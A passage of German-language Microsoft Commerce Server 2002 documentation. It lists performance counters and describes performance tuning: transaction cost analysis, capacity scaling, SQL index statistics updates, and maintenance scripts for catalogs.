 | AuthFilter: Fehlgeschlagene Windows-Authentifizierungsüberprüfungen/Sekunde | Die Anzahl der fehlgeschlagenen Windows-Authentifizierungsüberprüfungen pro Sekunde.
 | AuthFilter: Autocookies gesamt | Die Gesamtanzahl der generierten Autocookies.
 | AuthFilter: Autocookies/s | Die Anzahl der generierten Autocookies pro Sekunde.
 | AuthFilter: Fehlgeschlagene Anforderungen gesamt | Die Anzahl der Fehlversuche, die entweder durch einen Vollfiltercache verursacht wurden oder weil nach dem Auftreten eines Fehlers durch einen Filter auf eine Fehlerseite umgeleitet wurde.
 | UPM: Anzahl der aktiven Verbindungen | Die Gesamtanzahl der derzeit aktiven Verbindungen im Verbindungspool.
 | UPM: Anzahl der aktiven Heaps | Die Gesamtanzahl der derzeit aktiven Heaps im Heappool.
 | UPM: Anzahl der aktiven Heaps (unter Verwendung von SetCounter) | Die Gesamtanzahl der derzeit aktiven Heaps im Heappool unter Verwendung von SetCounter.
 | UPM: Hintergrundthreadstatus | Der Wert für diesen Indikator lautet entweder 1 (Ein) oder 0 (Aus) und zeigt an, ob der Hintergrundthread derzeit aktiv ist.
 | UPM: Kontextänderungen/s durch Bucketsperrkonflikt | Die Gesamtzahl der Kontextänderungen pro Sekunde aufgrund eines Bucketsperrkonflikts.
 | UPM: Kontextänderungen in der Cachewiederholungslogik/sec | Die Gesamtzahl der Kontextänderungen pro Sekunde (innerhalb des internen Cachewiederholungslogik-Codepfades).
 | UPM: Kontextänderungen/s durch Verbindungspool-Sperrkonflikt | Die Gesamtzahl der Kontextänderungen pro Sekunde aufgrund eines Verbindungspool-Sperrkonflikts.
 | UPM: Wartezeit beim Erstellen von Profilen | Die kumulierte Wartezeit bei allen Profilobjekterstellungen pro Sekunde.
 | UPM: Wartezeit beim Löschen von Profilen | Die kumulierte Wartezeit bei allen Profilobjekt-Löschvorgängen pro Sekunde.
 | UPM: DTS-Exportfehler | Die Gesamtanzahl der Fehler, die beim Export auftraten.
 | UPM: Exportierte DTS-Datensätze | Die Gesamtanzahl der exportierten Datensätze.
 | UPM: Exportierte DTS-Datensätze/s | Die Gesamtanzahl der exportierten Datensätze pro Sekunde.
 | UPM: Rate für die Suche nach einem Block mit freien Einträgen | Gibt an, wie oft pro Sekunde der Vordergrundthread Einträge aus dem Profilobjektcache löscht, um einen freien Block zu finden.
 | UPM: Wartezeit beim Abrufen von Profilen | Die kumulierte Wartezeit aller Profilobjektabrufvorgänge pro Sekunde.
 | UPM: Kontextänderungen/s durch Heappool-Sperrkonflikt | Die Anzahl der Kontextänderungen pro Sekunde aufgrund eines Heappool-Sperrkonflikts.
 | UPM: Wartezeit beim Ändern von Profilen | Die kumulierte Wartezeit aller Profilobjektaktualisierungen pro Sekunde.
 | UPM: Objektlesezugriffe | Die Gesamtanzahl der abgerufenen Profilobjekte.
 | UPM: Objektlesezugriffe/s | Die Anzahl der abgerufenen Profilobjekte pro Sekunde.
 | UPM: Objekterstellungen | Die Gesamtanzahl der erstellten Profilobjekte.
 | UPM: Objekterstellungen/s | Die Anzahl der erstellten Profilobjekte pro Sekunde.
 | UPM: Objektlöschungen | Die Gesamtanzahl der gelöschten Profilobjekte.
 | UPM: Objektlöschungen/s | Die Anzahl der gelöschten Profilobjekte pro Sekunde.
 | UPM: Objektänderungen | Die Gesamtanzahl der geänderten Profilobjekte.
 | UPM: Objektänderungen/s | Die Anzahl der geänderten Profilobjekte pro Sekunde.
 | UPM: Cacheobjekte | Die Gesamtanzahl der Cacheobjekte.
 | UPM: Cachezugriffsrate/Sekunde | Die Anzahl der Cachezugriffe pro Sekunde.
 | UPM: Cachefehlerrate/Sekunde | Die Anzahl der Cachefehlzugriffe pro Sekunde.
 | UPM: Anzahl der Cacheleerungen | Gibt an, wie oft der Vordergrundthread Einträge aus dem Profilobjektcache löscht, um einen freien Speicherblock zu finden.
Katalog | Katalogabfragen/s | Die Anzahl der im Produktkatalogsystem ausgeführten Abfragen pro Sekunde. Zum Aufzeichnen der Werte für die Leistungsindikatoren werden Abfrage und Freitextsuche verwendet. Die Aufzeichnung der Leistungsindikatoren ist ausschließlich über diese beiden Methoden möglich.
Data Warehouse und Analyse | CatImport: Kataloge gesamt | Gesamtanzahl der während dieses DTS-Importtasks importierten Kataloge.
 | CatImport: Kategorien gesamt | Gesamtanzahl der während dieses DTS-Importtasks importierten Kategorien.
 | CatImport: Produkte gesamt | Gesamtanzahl der während dieses DTS-Importtasks importierten Produkte.
 | UPM: Exportierte DTS-Datensätze/s | Die Anzahl der exportierten DTS-Datensätze (Data Transformation Services) pro Sekunde.
 | UPM: Exportierte DTS-Datensätze | Die Gesamtanzahl der exportierten DTS-Datensätze.
 | UPM: DTS-Exportfehler | Die Gesamtanzahl der DTS-Fehler, die beim Export auftreten. Hierbei handelt es sich um die Gesamtsumme der Anzahl nicht übereinstimmender Felder und Objekte, die nicht vom Data Warehouse aufgezeichnet werden konnten.
 | UImport: Freie Zugriffspuffer | Die Anzahl der derzeit verfügbaren freien Zugriffspuffer.
 | UImport: Verwendete Zugriffspuffer | Die Anzahl der derzeit ausgelasteten Zugriffspuffer.
 | UImport: Zugriffe/Sekunde | Gibt an, wie viele Zugriffe pro Sekunde der Importtask verarbeitet.
 | UImport: Aktueller Besuch | Die Gesamtanzahl der aktiven Besuche, die während der Verarbeitung der Protokolldateien aufgezeichnet werden.
 | UImport: E-Commerce-Ereignisse | Die Gesamtanzahl der Commerce Server-Ereignisse für den Importtask.
 | UImport: Decodierte Cookies | Die Gesamtzahl der von Commerce Server decodierten Cookies, die bei der Ausführung dieses Importtasks aufgetreten sind.
 | UImport: Abfragezeichenfolgen | Die Gesamtanzahl der Abfragezeichenfolgen, die bei der Ausführung dieses Importtasks verarbeitet wurden.
 | Aufgelöste IPs gesamt | Die Gesamtanzahl der beim DTS-IP-Auflösungstask aufgelösten IP-Adressen.
 | Nicht aufgelöste IPs gesamt | Die Gesamtanzahl der beim DTS-IP-Auflösungstask nicht aufgelösten IP-Adressen.
 | Provider: SetColumns gesamt | Gibt an, wie oft SetColumns() insgesamt aufgerufen wurde.
 | Provider: Zeilencommits/Sekunde | Die Anzahl der pro Sekunde gespeicherten Zeilen.
CS2000: Marketing und Katalog | DML: Direktsendungsfehler/s | Die Anzahl der von Direct Mailer zurückgegebenen Fehler pro Sekunde.
 | DML: Ausgeführte Direktsendungsaufträge | Die Gesamtanzahl der derzeit ausgeführten Direct Mailer-Aufträge.
 | DML: E-Mail-Nachrichten gesendet/s | Die Anzahl sämtlicher von Direct Mailer-Aufträgen gesendeten E-Mail-Nachrichten pro Sekunde.
 | DML: Direktsendungsfehler gesamt | Die Gesamtanzahl der von sämtlichen Direct Mailer-Aufträgen zurückgegebenen Fehler.
 | DML: Gesendete Nachrichten gesamt | Die Gesamtanzahl der E-Mail-Nachrichten, die von sämtlichen Direct Mailer-Aufträgen gesendet wurden.
 | EEE: Bewertungen/s | Die Anzahl der pro Sekunde bewerteten Ausdrücke.
 | EEE: Gesamtanzahl | Die Gesamtanzahl der zurzeit im Ausdruckscache befindlichen Ausdrücke.
 | EEE: Eigenschaftscachezugriffe | Die Gesamtanzahl der Eigenschaftscachezugriffe seit dem Systemstart.
 | EEE: Eigenschaftslesezugriffe | Die Gesamtanzahl der seit dem Systemstart von der Ausdrucksbewertung gelesenen Eigenschaften.
 | EEE: Eigenschaftslesezugriffe/s | Die Anzahl der von der Ausdrucksbewertung pro Sekunde gelesenen Eigenschaften.
 | EEE: Ergebniscachezugriffe | Die Gesamtanzahl der Cachezugriffe seit dem Systemstart.
 | EEE: Bewertungsfehler gesamt | Die Gesamtanzahl der zurückgegebenen Bewertungsfehler.
 | EEE: Auswertungen gesamt | Die Gesamtanzahl der seit dem Systemstart zurückgegebenen Bewertungen, einschließlich sowohl der erfolgreichen als auch der fehlerhaften Bewertungen.
 | LRUCache: Cachegröße | Die Gesamtanzahl der Einträge im Cache. Der Cache kann um 10 % über die vom Benutzer festgelegte Größe hinaus anwachsen. In diesem Fall erfolgt eine Leerung, die den Cache auf die vorab festgelegte Größe zurückführt. LRUCache-Leistungsindikatoren werden nach Site und nicht nach dem einzelnen Cache gruppiert.
 | LRUCache: Leerungen/s | Die Anzahl der Elemente, die pro Sekunde aus dem Cache gelöscht werden, um neue Elemente im Cache aufzunehmen. Es werden vom LRU-Alogrithmus gelöschte Elemente und manuell gelöschte Elemente aufgezeichnet.
 | LRUCache: Zugriffe/s | Die Anzahl der Cachezugriffe pro Sekunde für den Cache.
 | LRUCache: Fehler/s | Die Anzahl der Cachefehlzugriffe pro Sekunde für den Cache.
CS2000: Pipelines | Durchschnittliche Ausführungszeit | Die durchschnittliche Ausführungszeit für die betreffende Pipelinekomponente in Mikrosekunden.
 | Gesamtanzahl von Fehlern | Die Gesamtanzahl von Fehlern auf Fehlerebene 3, die durch die betreffende Pipelinekomponente (PIPEERRORLEV_FAIL) oder FAILED HRESULT zurückgegeben wurde.
 | Fehler pro Sekunde | Die Anzahl der durch die betreffende Pipelinekomponente generierten Fehler pro Sekunde.
 | Ausführungen gesamt | Die Gesamtanzahl von Ausführungen der betreffenden Pipelinekomponente.
 | Ausführungen pro Sekunde | Die Anzahl von Ausführungen durch die betreffende Pipelinekomponente pro Sekunde.
 | Warnungen gesamt | Die Gesamtanzahl von Warnungen auf Fehlerebene 2, die von der betreffenden Pipelinekomponente (PIPEERRORLEV_WARN) zurückgegeben wurde.
 | Warnungen pro Sekunde | Die Anzahl der von der Pipelinekomponente pro Sekunde zurückgegebenen Warnungen.

Hinweise

  • Für das Data Warehouse and Analysis-Objekt werden die Data Warehouse-Leistungsindikatoren lediglich beim Importieren von Datengruppen wie beispielsweise DTS-Tasks, Benutzer und Kataloge verwendet. Aus diesem Grund müssen die Data Warehouse-Leistungsindikatoren als anonyme Server eingerichtet werden.
  • Für das CS2000:Pipelines-Objekt ist eine Instanz jedes Pipelineindikators für die gesamte Pipeline vorhanden.

Fehlgeschlagene Authentifizierungsüberprüfungen/s (Leistungsindikator)

Der Indikator Fehlgeschlagene Authentifizierungsüberprüfungen/s bezeichnet die Anzahl der fehlgeschlagenen Authentifizierungsüberprüfungen pro Sekunde. Der Wert dieses Indikators erhöht sich, wenn die IsAuthenticated-Funktion fehlschlägt. Dies kann der Fall sein, wenn kein Authentifizierungsticket im Cookie vorhanden bzw. das im Cookie vorhandene Authentifizierungsticket abgelaufen ist.

AuthFilter: Tokencachegröße (Leistungsindikator)

Der Leistungsindikator Tokencachegröße bezeichnet die Anzahl der im Filtercache gespeicherten Benutzertoken. Diese Anzahl kann im SiteConfig-Objekt in der Microsoft Management Console (MMC) geändert werden. Eine Änderung nehmen Sie dann vor, wenn der Server über ausreichend RAM verfügt und die Site häufig innerhalb eines kurzen Zeitraums von zahlreichen verschiedenen Benutzern aufgerufen wird.

Katalogabfragen/s (Leistungsindikator)

Der Leistungsindikator Katalogabfragen/s bezeichnet die Anzahl der Abfragen pro Sekunde über das CS2000: Marketing und Katalog-Objekt auf einem Server. Diese Abfragen umfassen sämtliche Abfragen im Zusammenhang mit Kategorien und Produkten ebenso wie die Freitextsuche. Sie können die Abfragen im Produktkatalogsystem reduzieren, indem Sie einen Produktcache oder einen Suchcache zur Verbesserung der Leistung verwenden. Die Freitextsuche kann ebenfalls mit dem Microsoft Leistungsindikator Suchabfragen/Sekunde verfolgt werden.

Bei der Anzahl der Katalogabfragen handelt es sich um die Anzahl ohne Zwischenspeicherungen. Wenn die Anzahl hoch ist, sollte der Anwendungscode geändert werden, um einen lokalen Mechanismus für das Zwischenspeichern nutzen zu können, wie beispielsweise den Leistungsindikator LRUCache.

DML: Ausgeführte Direktsendungsaufträge (Leistungsindikator)

Der Leistungsindikator Ausgeführte Direktsendungsaufträge ermittelt die Zahl der gleichzeitigen Aufträge. Bei diesem Dienst gibt es keine spezielle Synchronisierungsmethode. Eine größere Zahl an gleichzeitigen Aufträgen kann, muss aber nicht, zu einem höheren Durchsatz führen.


Optimieren von Commerce Server

Mit der Analyse und Optimierung der Systemleistung von Microsoft Commerce Server 2002 stellen Sie sicher, dass Ihre Website die erforderlichen Ebenen des Internetverkehrs bewältigen kann. Zur Optimierung des Systems analysieren Sie zunächst das aktuelle System und die aktuellen Transaktionen und ermitteln dann, wie viele Benutzer gleichzeitig in normalen und in Spitzenzeiten auf die Site zugreifen. Im Anschluss daran können Sie zur Leistungsoptimierung entsprechende Änderungen am System vornehmen.

Weitere Informationen zum Optimieren von Commerce Server finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5165, einer Reihe von Whitepapers, in denen die Konzepte und Methoden für die Leistungsanalyse erläutert werden und die Durchführungsweise der Leistungsanalyse auf Beispielsites dargestellt wird. Außerdem finden Sie dort Verknüpfungen zum Downloaden von Tools und Beispielskripts, mit denen Sie die Leistung Ihrer Site überprüfen können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Analysieren des aktuellen Systems. Beschreibt, wie Sie eine Analyse des Systems vornehmen und die Sitekapazität verbessern.
  • Verwenden der Transaktionskostenanalyse (TCA). Beschreibt, wie Sie die Kosten verschiedener Arten von Webtransaktionen in Ihrer Site ermitteln, um die Leistung zu steigern.
  • Optimieren der Abfrageleistung für SQL Server. Beschreibt, wie SQL Index-Statistiken aktualisiert werden können, um die Abfrageleistung für SQL Server zu optimieren.
  • Materialisieren virtueller Kataloge. Erläutert, wie und wann Sie virtuelle Kataloge materialisieren sollten, und gibt Gründe für die Materialisierung an.
  • Ausführen des Skripts "Updatefulltextcatalogs". Erläutert, wie und wann Sie das Skript Updatefulltextcatalog ausführen sollten, und gibt Gründe für die Ausführung an.
  • Durchführen einer Volltextsuche in Katalogen. Erläutert die Auswirkungen einer Volltextsuche auf die Leistungsfähigkeit von Katalogen.
  • Verwalten der Leistung. Beschreibt Methoden zur Leistungsoptimierung von Commerce Server.
  • Problembehandlung in Bezug auf die Leistung. Führt allgemeine Probleme auf, die bei der Verwendung von Commerce Server-Optimierungstools auftreten können. Führt darüber hinaus weitere Ressourcen für die Problembehandlung anderer Bereiche von Commerce Server auf.
  • Weitere Informationen zur Optimierung. Führt online und in gedruckter Form vorliegende Ressourcen sowie Tools zur Optimierung von Commerce Server auf.


Analysieren des aktuellen Systems

Mit einer Analyse der aktuellen Systemkonfiguration verschaffen Sie sich einen besseren Überblick über die Auswirkungen der Systemkonfiguration auf die Gesamtsystemleistung. Nach Abschluss der Siteanalyse können Sie die gesammelten Informationen für die Optimierung und Skalierung sämtlicher Bereiche Ihrer Site verwenden. Sie können beispielsweise die Konfiguration ändern, die Funktionsweise der Software ändern oder die Hardware verbessern.

Beim Optimieren und Skalieren der Site müssen unter Umständen Änderungen an der aktuellen Konfiguration vorgenommen werden. Um die Auswirkungen einer Konfigurationsänderung auf die Leistung genau einschätzen zu können, müssen Sie die aktuelle Systemkonfiguration kennen. Bei der Analyse der Basiskonfiguration Ihres Systems sollten die folgenden Aspekte berücksichtigt werden:

  • Hardware: Nehmen Sie eine Bestandsaufnahme der Konfiguration der einzelnen Computer einschließlich der Platinen, der Peripheriegeräte (ohne Maus und Tastatur) sowie der Netzwerkgeräte vor. Erstellen Sie ein Systemdiagramm, in dem die logische Verknüpfung der Teile und deren Funktionen dargestellt werden. Geben Sie beispielsweise an, ob ein Server als Webserver oder als Datenbankserver dient. In der folgenden Abbildung sehen Sie ein Beispiel für ein Hardwarediagramm.

  • Netzwerkkonfiguration: Die Bestandsaufnahme der Netzwerkkonfiguration sollte Folgendes umfassen:
    • CPU-Typ und -Geschwindigkeit, Anzahl der CPUs sowie Cachegröße und -einstellungen
    • Speichertyp, Quantität und Größe
    • Controller-Karte für Datenträgersubsysteme
    • Geschwindigkeit und Typ des Datenträgerlaufwerks
    • SCSI-Protokoll und Fiber-Protokoll
  • Software: Dokumentieren Sie die Software, die auf den einzelnen Computern installiert ist, sowie deren Interaktion mit Software auf anderen Computern. Schließen Sie bei der Dokumentation der auf den einzelnen Computern installierten Software folgende Punkte ein:
    • Buildnummern
    • Logische Schnittstelle zwischen Anwendungen. Beschreiben Sie die Art der Datenbankanknüpfung, wenn Anwendungen Daten aus Datenbanktabellen abrufen.
    • Service Packs
    • Setup-Optionen, die bei der Softwareinstallation verwendet wurden.
    • Systemeinstellungen. Dokumentieren Sie die Konfiguration des virtuellen Speichers, z. B. /3 GB-Schalter. Dokumentieren Sie die IIS-Isolationsstufe und die Einstellungen für IIS Server-Manager, z. B. Zwischenspeicherung des Sitzungsstatus (aus/an), ASP-Debuggen (aus) und ASP-Pufferung (aus).

    Erstellen Sie zusätzlich zur Beschreibung der Softwarekonfiguration ein Softwarediagramm. In der folgenden Abbildung sehen Sie ein Beispiel für ein Softwarediagramm.

  • Inhalt: Beschreiben Sie die Inhalte, die den einzelnen Servertypen seit der Installation von Commerce Server 2002 hinzugefügt wurden. Es empfiehlt sich beispielsweise, jede einzelne Datei und die Verzeichnisstruktur zu dokumentieren, in der die Dateien auf Webservern und Datenbankservern gespeichert werden. Darüber hinaus müssen Dokumentinformationen festgehalten werden, so z. B. Einstellungen für Berechtigungen, Informationen zum Dateisystem, zu Datenbankskripts, Konfigurationsdateien, Datendateien usw.
  • Lastenausgleich: Dokumentieren Sie sämtliche Orte, an denen Sie den Netzwerklastenausgleich (NLB) verwenden. Haben Sie Ihre Site beispielsweise mithilfe von NLB oder Hardwarelastenausgleich über mehrere Server skaliert?
  • Dokumentieren von Verwaltungsmethoden: Beschreiben Sie, wie Protokolldateien beim Sichern der Datenbanken archiviert werden. Dokumentieren Sie, wie Datenbanken über mehrere Laufwerke verteilt werden.


Verwenden der Transaktionskostenanalyse (TCA)

Bei der Transaktionskostenanalyse (TCA) handelt es sich um eine Methode zur Messung der Sitekapazität. Mithilfe der TCA werden die Leistungskosten einer Transaktion, die Sitekapazität hinsichtlich der Bewältigung des Datenverkehrs sowie die Kosten, die bei der Ausführung verschiedener Transaktionstypen in der Site entstehen, ermittelt. Die mit der TCA ermittelten Ergebnisse in Bezug auf die Sitekapazität dienen dazu, die Leistungsfähigkeit der einzelnen Systemkomponenten zu erhöhen. Darüber hinaus besteht die Möglichkeit, Servertransaktionen miteinander zu vergleichen, um festzustellen, welche Transaktionen das System am stärksten beanspruchen.

Der Begriff Transaktion in Transaktionskostenanalyse bezieht sich auf die Arbeitsleistung eines oder mehrerer Server (Webserver, Server der mittleren Ebene und SQL Server-Computer) zur Ausführung einer Benutzeranforderung. So kann es sich bei einer Transaktion beispielsweise um die Anforderung eines Benutzers einer Produktbeschreibungsseite, die in einer Datenbank gespeichert ist, ebenso wie um eine Anforderung zum Hinzufügen eines Artikels zu einem Warenkorb handeln. Der Begriff bezieht sich nicht auf E-Commerce-Transaktionen, in denen Geld ausgetauscht wird.

Analysieren des Datenverkehrs

Erstellen eines Verwendungsprofils

Erhöhen der Websitekapazität

Erhöhen der Kapazität der mittleren Ebene

Erhöhen der Datenbankkapazität

Analysieren des Datenverkehrs

Nachdem Sie das aktuelle System analysiert und die Hardware und Software dokumentiert haben, müssen Sie ermitteln, wie viele Benutzer die Site, v. a. während der Spitzenbelastungszeit, in der Regel gleichzeitig nutzen. Diese Daten entnehmen Sie üblicherweise folgenden Quellen:

  • Marktanalyse. Hierbei handelt es sich um die Analyse einer neuen Site. Sie können eine Marktanalyse in Auftrag geben, um den zu erwartenden Datenverkehr in der Site zum Zeitpunkt der Bereitstellung und im Anschluss daran einschätzen zu können. Eine solche Analyse können Sie dann als Grundlage für Ihre TCA heranziehen.
  • Siteverwendungsanalyse. Hierbei handelt es sich um die Analyse einer bereits vorhandenen Site. Analysieren Sie die Webserver-Protokolldateien, um die Anzahl der Sitezugriffe zu einem beliebigen Zeitpunkt zu ermitteln. Zudem ist die Analyse von Verwendungstrends sinnvoll. Diese gibt Aufschluss darüber, ob die Zahl der Zugriffe auf bestimmte Bereiche der Site im Laufe der Zeit gestiegen oder rückläufig ist. Orientieren Sie sich bei der Berechnung der gleichzeitigen Benutzerzugriffe, die Ihre Site derzeit unterstützt, eher an Spitzenzeiten als an Zeiten mit normalen Zugriffszahlen.

Erstellen eines Verwendungsprofils

Nachdem Sie nun wissen, wie viele Benutzer auf Ihre Site zugreifen, müssen Sie die Zugriffsweise ermitteln, sodass Sie einschätzen können, wie groß die Auslastung Ihres Systems bei einem typischen Benutzer ist. Zu diesem Zweck sollten Sie zunächst ein Verwendungsprofil erstellen, damit Sie über eine Grundlage verfügen, mit der Sie dann weiterarbeiten können.

Zum Erstellen eines Verwendungsprofils müssen Sie die Verwendungsprotokolldateien Ihrer Site analysieren. Anhand von Protokolldateien, die über einen längeren Zeitraum gesammelt werden (mindestens eine Woche), können Sie einen aussagefähigen Durchschnittswert ermitteln. Legen Sie zunächst fest, welche Vorgänge ein Benutzer ausführen kann (beispielsweise durchsuchen, suchen usw.). Erfassen Sie dann die folgenden Daten:

  • Anzahl der Sitebenutzer
  • Anzahl der Zugriffe auf die einzelnen Seiten (welche Seiten besucht wurden)
  • Verweildauer auf den einzelnen Seiten
  • Länge der Sitzungen
  • Zeiten, in denen die meiste Aktivität stattfindet

Anhand der Anzahl der Besuche der einzelnen Seiten können Sie typische Benutzervorgänge in Ihrer Site ermitteln. In der folgenden Liste wird ein Verwendungsprofil mit typischen Einkaufsvorgängen bei einem E-Commerce-Einzelhändler dargestellt.

  • Durchschnittliche Sitzungszeit: 10 Minuten
  • % der Besucher mit Kaufaktionen: 2
  • Spitzen-Faktor: 3 x Durchschnittswert
  • Anforderungen/Aufruf: 10

In der folgenden Tabelle ist die statistisch ermittelte Verteilung der Seitenanforderungen aufgeführt. Die Anforderungen werden insgesamt berechnet und dann auf die statistisch gemittelte Benutzersitzung vereinheitlicht.

Operation | % Vert. | ASP pro Operation | Berechnung | Vereinheitl. pro Anforderung
Anonymer Warenkorb | 8.15 | 9 | 73.35 | 2.12
Anonymes Durchsuchen | 20.37 | 3 | 61.11 | 1.76
Anonymes Abschließen einer Bestellung | 0.51 | 10 | 5.10 | 0.15
Anonymes Suchen | 5.09 | 2 | 10.18 | 0.29
Anonymes schrittweises Suchen | 3.05 | 3 | 9.15 | 0.26
Warenkorb | 8.15 | 12 | 97.80 | 2.82
Durchsuchen | 20.37 | 2 | 40.74 | 1.17
Abschließen einer Bestellung | 0.71 | 15 | 10.65 | 0.31
Startseite | 24.44 | 1 | 24.44 | 0.70
Anmeldung neuer Benutzer | 1.02 | 3 | 3.06 | 0.09
Suchen | 5.09 | 1 | 5.09 | 0.15
Schrittweises Suchen | 3.05 | 2 | 6.1 | 0.18
Gesamtsumme | 100.00 |  |  | 10

Weitere Informationen zum Entwickeln eines Onlineverwendungsprofils finden Sie im Commerce Server 2000 Resoure Kit in Kapitel 18 unter "Erstellen eines Site-Verwendungsprofils".

Erhöhen der Websitekapazität

Nachdem Sie die Systemkapazität ermittelt haben, stellen Sie möglicherweise fest, dass das aktuelle System den derzeitigen Datenverkehr in der Website nicht bewältigen kann. Oder Sie befürchten, dass ein bevorstehender Anstieg des Datenverkehrs aufgrund einer neuen Marketinginitiative oder eines saisonbedingten Anstiegs wie zum Schulbeginn nach den Ferien oder zu Weihnachten Sie vor Kapazitätsprobleme stellen wird.

Um Leistungseinbußen zu vermeiden, müssen Sie Ihre Webserver probeweise der erwarteten Datenverkehrslast aussetzen. Auf diese Weise können Sie genau ermitteln, an welcher Stelle die Server skaliert werden müssen, damit das erwartete Datenverkehrsaufkommen bewältigt werden kann. (Auch die Durchführung von Berechnungen, um die Anzahl der erforderlichen zusätzlichen Server zu ermitteln, kann ein gangbarer Weg sein, sofern die Kapazitätsprobleme auf eine Ebene beschränkt sind.) Mit dem Systemmonitor können Sie die Leistungsindikatorwerte für verschiedene Serverobjekte überwachen. Sie können die speziellen Leistungsindikatoren von Commerce Server verwenden, um die für Ihr Unternehmen bedeutsamen Serverobjekte anzuzeigen. Weitere Informationen zum Systemmonitor finden Sie in der Hilfe zu Windows 2000 Server.

Um die Kapazität zu steigern, müssen Sie zunächst feststellen, welche Ressourcen erschöpft sind. Sie können die Webserver vertikal skalieren, indem Sie die Kapazität von Arbeitsspeicher, CPU oder Netzwerk erhöhen. Eine andere Möglichkeit zur Steigerung der Kapazität der Webserver besteht darin, dem Cluster mit Lastenausgleich weitere Server hinzuzufügen. In jedem Fall ist ein tief reichendes Verständnis der Kapazität der gesamten Webfarm eine wesentliche Voraussetzung für jede Entscheidung zur Skalierung einer einzelnen Komponente.

Siehe auch

Verwenden der Transaktionskostenanalyse (TCA)

Commerce Server-Leistungsindikatoren

Erhöhen der Kapazität der mittleren Ebene

Sie können Server der mittleren Ebene für eine Reihe von Zwecken einsetzen, beispielsweise für das Ausführen von Programmen oder das Speichern von Inhalten. Um die Leistung der mittleren Ebene zu bewerten, müssen Sie die folgenden Leistungsindikatoren überwachen:

  • Arbeitsspeicher
  • System
  • Physische Datenträger

Wenn die Werte der genannten Indikatoren unzureichend sind, sollten Sie eine Skalierung auf dieser Ebene vornehmen. Wenn Sie beispielsweise den Indikator Empfangene Bytes/Sekunde überwachen, sollten Sie diesen Indikator mit der gesamten Bandbreite der Netzwerkkarte vergleichen, um zu ermitteln, ob die Netzwerkverbindung einen Engpass verursacht. Es empfiehlt sich, maximal 50 % der vorhandenen Kapazität zu nutzen, um Spitzen im Besucherdatenverkehr bewältigen zu können. Wenn dieser Prozentsatz sehr nah an der Kapazitätsgrenze der Verbindung liegt und Prozessor und Arbeitsspeicher nur mäßig ausgelastet sind, liegt das Problem möglicherweise in der Verbindung.

Es kann auch sinnvoll sein, Dokumentationen zu Leistungsproblemen, die speziell bei den von Ihnen auf der mittleren Ebene eingesetzten Technologien auftreten, einzubeziehen, um Wege zur Steigerung der Kapazität auf der mittleren Ebene zu finden. Zum Beispiel enthält die Hilfe zu Windows 2000 Server Informationen zum Einsatz des Netzwerklastenausgleichs (NLB), mit dem der Zugriff auf zusätzliche Server ermöglicht wird und so die Kapazität gesteigert werden kann.

Erhöhen der Datenbankkapazität

Um die Kapazität der Datenbank zu erhöhen, müssen Sie zunächst die folgenden Leistungsindikatoren überwachen:

  • Arbeitsspeicher
  • System
  • Physische Datenträger
  • SQL Server

Durch die Überwachung dieser Indikatoren können Sie erkennen, welche Leistungsindikatoren skaliert werden sollten: Arbeitsspeicher, Größe des physischen Datenträgers oder Servers

Zum Zweck einer Skalierung können Sie die Kapazität der Datenbank durch Hinzufügen eines weiteren Servers erhöhen. Es ist einfacher, einen neuen Server hinzuzufügen, als eine Anwendung, die nicht exklusiv auf einem Datenbankserver installiert ist, auf einem neuen Server zu installieren. Oftmals ist das Erhöhen der Kapazität jedoch nicht lediglich eine Frage von zusätzlichen Servern. Überprüfen Sie die Dokumentation zu Ihrer Datenbankanwendung auf Richtlinien für die Skalierung der Datenbank.


Optimieren der Abfrageleistung für SQL Server

Fehlerhafte oder überholte Statistiken können für wesentliche zeitliche Unterschiede beim Abfragen von Tabellen mit großen Datenmengen sorgen.

So aktualisieren Sie die Indexstatistiken für Tabellen in Commerce Server 2002

Führen Sie für Tabellen in Commerce Server 2002, die große Datenmengen enthalten können, folgendes Skript aus:

UPDATE STATISTICS <Tabellenname> with FullScan

Führen Sie dieses Skript für die Tabelle "GlobalerKatalog" aus.

Führen Sie pro Basiskatalog dieses Skript für die folgenden Tabellen aus:

  • CatalogName_CatalogProducts
  • CatalogName_CatalogHierarchy
  • CatalogName_CatalogRelationships

Führen Sie pro virtuellen Katalog dieses Skript für die folgenden Tabellen aus:

  • CatalogName_CatalogProducts
  • CatalogName_CatalogHierarchy
  • CatalogName_CatalogRelationships
  • CatalogName_CATALOGVIRTUALPRODUCTS


Materialisieren virtueller Kataloge

Virtuelle Kataloge werden standardmäßig als Ansichten erstellt. Dadurch können virtuelle Kataloge zwar einfacher und schneller bearbeitet werden, unter Umständen wird jedoch die Laufzeitleistung im Vergleich zu Basiskatalogen verringert. Zur Verbesserung der Laufzeitleistung von virtuellen Katalogen können Sie diese anhand des Skripts MaterializeVC.vbs materialisieren.

Skript "MaterializeVC.vbs"

Verwenden Sie das Skript MaterializeVC.vbs, um ein Katalogattribut so einzurichten, dass der Katalog beim nächsten Erstellen materialisiert wird.

Das Skript MaterializeVC.vbs befindet sich im Ordner \Programme\Microsoft Commerce Server 2002\Support.

Beim erneuten Erstellen eines virtuellen Katalogs wird er, je nach Verwendungszweck, als ein materialisierter oder nicht-materialisierter virtueller Katalog erstellt.

Das Materialisieren eines Katalogs wird von der Eigenschaft CatalogFlags Catalog (siehe Spalte "CatalogFlags" in der Tabelle "GlobalerKatalog") gesteuert. Im Folgenden finden Sie einen Auszug aus der Datei Catalog.idl:

{
CATALOG_FLAG_DEFAULT= 0, // default value for the column
CATALOG_FLAG_MATERIALIZE_VC = 1,
}CatalogFlagsEnum;

Informationen zum Ausführen von MaterializeVC.vbs erhalten Sie, wenn Sie das Skript mithilfe von /? aufrufen.

Hinweis

  • Wenn ein virtueller Katalog materialisiert ist, müssen Sie ihn neu erstellen, falls sich Daten in den zugehörigen Basiskatalogen ändern. Anweisungen zum Neuerstellen eines virtuellen Katalogs finden Sie unter Neuerstellen eines virtuellen Katalogs.


Ausführen des Skripts "Updatefulltextcatalogs"

Aktualisieren Sie mit dem Skript Updatefulltextcatalogs.vbs die Volltextindizes aller Produktkataloge in einem Volltextkatalog.

Wenn in einem Volltextkatalog mehrere Kataloge vorliegen, können Sie mit dem Skript Updatefulltextcatalog.vbs die Volltextindizes aller Kataloge gleichzeitig aktualisieren. Der Einsatz des Skripts Updatefulltextcatalog.vbs ist wirkungsvoller als der des Objekts ProductCatalog.RegenerateFullTextIndex. Bei Verwendung dieses Objekts können auf dem SQL Server viele Ressourcen gebunden werden.

